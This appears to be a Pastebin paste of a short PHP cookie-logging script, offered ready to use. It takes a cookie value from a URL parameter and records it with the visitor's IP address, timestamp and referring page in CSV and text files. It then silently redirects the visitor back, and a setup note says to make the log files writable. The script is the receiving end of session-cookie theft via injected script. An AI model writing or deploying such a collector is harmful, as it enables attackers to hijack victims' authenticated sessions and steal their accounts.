Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- define('CSV_STORAGE', __DIR__ . '/cookies.csv');
- define('TXT_FILE', __DIR__ . '/cookies.txt');
- if(!array_key_exists('c', $_GET))
- {
- die('Nope. Not valid');
- }
- $cookie = $_GET['c'];
- $date = date("j F, Y, g:i a");
- $referrer = $_SERVER['HTTP_REFERER'];
- $ip = $_SERVER['REMOTE_ADDR'];
- $csvFileHandle = fopen(CSV_STORAGE, 'a');
- $txtFileHandle = fopen(TXT_FILE, 'a');
- if(0 == filesize(CSV_STORAGE))
- {
- fputcsv($csvFileHandle, array('Cookie', 'IP', 'Date', 'Referrer'));
- }
- fputcsv($csvFileHandle, array($cookie, $ip, $date, $referrer));
- fwrite($txtFileHandle,
- 'Cookie: ' . $cookie . PHP_EOL
- . 'IP: ' . $ip . PHP_EOL
- . 'Date and time: ' . $date . PHP_EOL
- . 'Referer: ' . $referrer . PHP_EOL . PHP_EOL
- );
- fclose($csvFileHandle);
- fclose($txtFileHandle);
- header('Location:' . $_SERVER['HTTP_REFERER']);
- ----------
- Don't forget to create cookies.txt and cookies.csv and make sure they are writable
- ----------
- leonteale.co.uk
- With special thanks to Thomas Gray @ Randomstorm for helping me make this script better.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement